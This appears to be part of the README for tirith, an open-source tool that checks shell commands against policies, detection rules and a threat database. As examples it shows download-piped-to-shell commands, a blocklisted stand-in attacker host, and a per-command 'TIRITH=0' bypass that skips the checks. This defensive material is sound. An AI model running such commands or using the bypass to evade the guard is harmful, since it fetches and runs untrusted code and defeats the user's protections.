`tirith status` / `doctor`	Are you protected? Diagnose install, hooks, and policy (`--fix`, `--quick`)
`tirith setup <tool>` / `init`	One-command AI-tool setup, or print the shell hook
`tirith policy {init,validate,test}`	Scaffold, validate, and dry-run your policy
`tirith trust {add,list,remove}`	Manage trusted patterns (narrow scope, 30-day TTL by default)
`tirith threat-db update`	Download and verify the signed threat database
`tirith package risk <eco> <name>`	Score a package's supply-chain risk
`tirith ecosystem scan [path]`	Score every declared dependency in a project
`tirith mcp {lock,verify}`	Pin and gate a repo's MCP servers
`tirith daemon start`	Background daemon for faster checks (Unix)

That is the daily-driver set. tirith ships 74 commands in all, in 8 groups: scan & analyze, status & health, setup, policy & trust, shell & system guards (hygiene, persistence, exec, path, context, ssh, sudo, iac), supply-chain, AI-agent integrations, and forensics & response. Run tirith --help for the categorized list, or see the full command reference. The global --quiet flag (or TIRITH_QUIET=1) silences advisory output without hiding errors, verdicts, or security notices.

Design principles

Detection runs locally: paste, score, diff, and why make zero
network calls. tirith check (including the --approval-check path shell
hooks use) also analyzes locally, but first triggers a periodic background
threat-DB refresh (see below), so it is not strictly offline. tirith check --offline (or TIRITH_OFFLINE=1) suppresses the refresh and keeps it fully
local.
Periodic background threat-DB refresh: tirith check and the shell hooks
trigger a cheap, detached background check at most once every 24 hours by
default (threat_intel.auto_update_hours), to keep the signed database fresh.
It never blocks the command. Set auto_update_hours: 0 to disable it, or
--offline / TIRITH_OFFLINE=1 to suppress it per invocation. tirith paste
does not trigger it; it goes straight through the local engine.
No command rewriting: tirith never modifies what you typed.
No telemetry: no analytics, no crash reporting, no phone-home behavior.
No long-lived background processes by default: tirith is invoked
per-command and exits immediately. The threat-DB refresh above is a
short-lived detached update, not a resident process. Optional tirith daemon start is the only resident process, and it is opt-in.
Network only when you ask, configure, or for the threat-DB refresh:
run, fetch, and audit report --upload reach the network only on explicit
invocation; the threat-DB refresh follows the schedule above. Daemon mode adds
network-aware URL resolution, and optional webhook / policy-server integrations
can make outbound requests when configured. Core detection never phones home.
Egress guard on fetches. tirith run, fetch --save, and command-card fetch refuse private, loopback, and cloud-metadata hosts by default, and an
SSRF guard re-checks every redirect hop. Set TIRITH_ALLOW_PRIVATE_FETCH=1 to
allow them.

Configuration

Quick start

bash
tirith policy init          # creates .tirith/policy.yaml in your repo
tirith policy validate      # check for syntax/schema errors
tirith policy test "curl https://example.com | bash"  # dry-run against policy

tirith policy init accepts --template <name> for a curated starter policy:

bash
tirith policy init --template individual      # solo developer defaults (alias: personal)
tirith policy init --template ci-strict       # fail-closed, no bypass, scan fail-on
tirith policy init --template ai-agent-heavy  # tuned for heavy AI-agent use
tirith policy init --template oss-maintainer  # reviewing contributor-controllable risk
tirith policy init --template startup         # small-team balance
tirith policy init --template enterprise      # strict, with an active package_policy block
tirith policy init --template mcp-strict      # locked-down MCP server and tool trust

Each template is a well-commented, schema-valid policy you can edit further.
With no --template, tirith policy init writes the full default policy.

Policy file

Tirith uses a YAML policy file. Discovery order:

.tirith/policy.yaml in current directory (walks up to repo root)
~/.config/tirith/policy.yaml

yaml
fail_mode: open        # or "closed" for strict environments
paranoia: 1            # 1-4: higher = more sensitive
strict_warn: false     # require explicit acknowledgement for warnings

allowlist:
  - "get.docker.com"
  - "sh.rustup.rs"

blocklist:
  - "evil.example.com"

severity_overrides:
  docker_untrusted_registry: CRITICAL

scan:
  ignore_patterns:
    - "node_modules"
    - "target"
  profiles:
    ci:
      include: ["*.md", "*.json", "*.yaml", ".claude/*"]
      fail_on: high

Use allowlist_rules for rule-scoped suppressions when you trust a source for one rule but do not want to globally allowlist it:

yaml
allowlist_rules:
  - rule_id: curl_pipe_shell
    patterns:
      - "get.docker.com"

Managing trust from the CLI

tirith trust manages trusted patterns without hand-editing policy YAML. Trust
is narrow and expiring by default: trust the most specific thing that
works, and entries expire after 30 days unless you opt out.

bash
# Narrowest scope, a specific URL or path is accepted as-is, 30-day TTL.
tirith trust add raw.githubusercontent.com/org/repo/main/get.sh

# A whole domain / wildcard / bare TLD is broad, it must be opted into.
tirith trust add get.docker.com --broad --rule curl_pipe_shell

# Opt out of the default TTL, and record why the entry exists.
tirith trust add example.com --broad --permanent --reason "internal mirror, OPS-42"

tirith trust list                 # scope class per entry; '!' marks broad ones
tirith trust explain example.com  # what it covers, when it expires, why added
tirith trust diff                 # what changed in the trust set
tirith trust gc --expired         # drop expired entries

Each entry's scope is classified as exact, substring, domain,
wildcard, or bare-TLD. A broad scope (domain / wildcard / bare-TLD)
requires --broad, so a sweeping allow is always a deliberate choice. All
subcommands support --format json. Trust stores written by older versions of
tirith keep working unchanged, an entry with no TTL is treated as permanent.

Escalation and action overrides

Warnings are tracked per session. If the same rule fires repeatedly, escalation rules can upgrade to a block:

yaml
action_overrides:
  shortened_url: block            # always block, regardless of default severity

escalation:
  - trigger: repeat_count
    rule_ids: ["*"]               # any rule
    threshold: 5
    window_minutes: 60
    action: block
  - trigger: multi_medium
    min_findings: 3               # 3+ medium findings on one command → block
    action: block

Review accumulated warnings at any time:

bash
tirith warnings               # table of session warnings
tirith warnings --format json # structured output
tirith warnings --clear       # clear after viewing

On shell exit, a one-line summary is printed if any warnings were recorded during the session.

More examples in docs/cookbook.md.

Custom detection rules

Author your own rules in .tirith/policy.yaml under custom_rules:. Each rule is either a pattern: (regex) or a when: semantic predicate tree, plus a context: (exec, paste, or file), a severity:, and a title:.

yaml
custom_rules:
  - id: no_internal_pastebin
    context: exec
    severity: high
    title: "Internal pastebin is not allowed for piped execution"
    when:
      all:
        - command.has_pipeline_to: [bash, sh]
        - url.host_matches: "paste\\.corp\\.example$"

The when: DSL combines all: / any: / not: over predicates like command.has_pipeline_to, command.uses_sudo, url.host, url.host_matches, url.reputation, url.domain_not_in, package.ecosystem, package.name_matches, package.reputation, and file.path_matches. Reputation predicates read the local signed threat database, so a custom rule still makes no network call on the hot path. Validate and dry-run before committing:

bash
tirith rule validate                          # check every custom rule: shape + context coverage
tirith rule test --rule no_internal_pastebin --input "echo hi | bash"
tirith rule explain --rule no_internal_pastebin

More policy controls

Other policy keys, all with safe defaults (tirith policy init writes the fully-commented set):

package_policy: thresholds turn supply-chain signals into block or warn verdicts (block_typosquat_distance, warn_low_downloads_below, block_newer_than_days, block_not_found).
agent_rules: allow: / deny: match a command's caller origin ({ kind, name }); a deny match forces a block. scan.trusted_mcp_servers and scan.mcp_allowed_tools accept specific MCP servers and per-server tools.
Opt-in guards, default off: env_guard_enabled, exec_guard_enabled, hooks_guard_enabled, baseline_enabled, plus iac_require_plan_before_apply, sudo_require_reason, and allowed_install_domains.

Repo-scoped .tirith/policy.yaml files can only tighten, never weaken: a repo policy that tries to widen an allowlist, lower a severity, or disable a guard is neutralized, and tirith policy effective shows which fields were dropped. Only user-level and org-level (TIRITH_POLICY_ROOT) policies can relax a default.

Strict warn mode

With strict_warn: true (or --strict-warn on the CLI), medium-risk findings prompt for explicit acknowledgement in interactive terminals instead of silently warning:

$ curl -sSL https://get.docker.com | sh

tirith: WARNING
  [MEDIUM] pipe_to_interpreter, Download piped to interpreter
tirith: proceed with 1 warning(s)? [y/N]

Shell hooks use exit code 3 for the warn-ack protocol. Old hooks that don't know about exit code 3 fall through to fail-open behavior.

[!NOTE]
Exit code 3 is the warn-ack hook protocol path, not the normal direct-CLI contract. Non-hook callers should not normally see exit code 3; if they do, it indicates acknowledgement is required.

Bypass

For the rare case you know exactly what you're doing:

bash
TIRITH=0 curl -L https://something.xyz | bash

This is a standard shell per-command prefix; the variable exists only for that single command and does not persist in your session. Organizations can disable it entirely with allow_bypass_env: false in policy.

[!CAUTION]
TIRITH=0 is per-command. Do not export it in shell profiles, dotfiles, or CI config; a permanent bypass defeats the entire protection model. If you find yourself reaching for it often, add the trusted source to allowlist in your policy file instead.

Data handling

Local JSONL audit log at ~/.local/share/tirith/log.jsonl:

Timestamp, session ID, action, rule IDs, redacted command preview
Raw detection data (raw_action, raw_rule_ids) preserved alongside enforced action for coverage auditing
Session warning state at ~/.local/state/tirith/sessions/
No full commands, environment variables, or file contents

Disable: export TIRITH_LOG=0

Docs

Command reference: every subcommand, grouped by category
Threat model, what tirith defends against and what it doesn't
Cookbook, policy examples for common setups
Troubleshooting, shell quirks, latency, false positives
Compatibility, stable vs experimental surface
Security policy, vulnerability reporting
Uninstall, clean removal per shell and package manager

Feature guides:

Agent governance (caller-origin attribution and agent_rules)
MCP output filter (the gateway and MCP output-sanitization contract)
Doctor modes (full vs --quick, and the JSON snapshot schema)
LSP and editor profiles (inline editor diagnostics)
Browser native messaging (clipboard-provenance host and extension)
Paste provenance (the paste_source_mismatch rule)
Canary formats (synthetic honeytoken formats)
Prompt integration (wiring tirith prompt-status into your shell prompt)

License

Core security coverage ships in the open-source tree. All 221 detection rules and the MCP server are available from source. The repository still contains legacy licensing and policy-server code paths, so avoid assuming that every runtime path is already tier-free.

tirith is dual-licensed:

AGPL-3.0-only: LICENSE-AGPL, free under copyleft terms
Commercial: LICENSE-COMMERCIAL, if AGPL copyleft obligations don't work for your use case, contact contact@tirith.sh for alternative licensing

Third-party data attributions in NOTICE.